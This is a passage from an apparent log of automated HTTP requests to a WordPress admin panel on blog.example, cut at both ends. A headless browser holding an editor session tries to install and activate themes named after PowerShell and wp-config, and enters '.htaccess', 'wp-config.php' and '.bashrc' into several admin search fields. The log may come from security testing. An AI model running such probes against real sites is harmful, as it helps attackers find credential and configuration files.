wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=powershell-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/customize.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-editor.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/update.php?action=install-theme&theme=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?theme=wp-config-theme", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214698"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?action=activate&stylesheet=wp-config-theme&_wpnonce=abc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214699"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=.htaccess", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214700"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag&s=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-tags.php?taxonomy=post_tag", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/themes.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/theme-install.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/theme-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214701"], "body": ""} +{"method": "GET", "target": "/wp-admin/upload.php?search=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=ajax-tag-search&tax=post_tag&q=wp-config.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/post.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/edit-comments.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/edit-comments.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/users.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/users.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": "GET", "target": "/wp-admin/plugins.php?s=.bashrc", "headers": ["Host: blog.example", "Connection: keep-alive", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/plugins.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794214702"], "body": ""} +{"method": 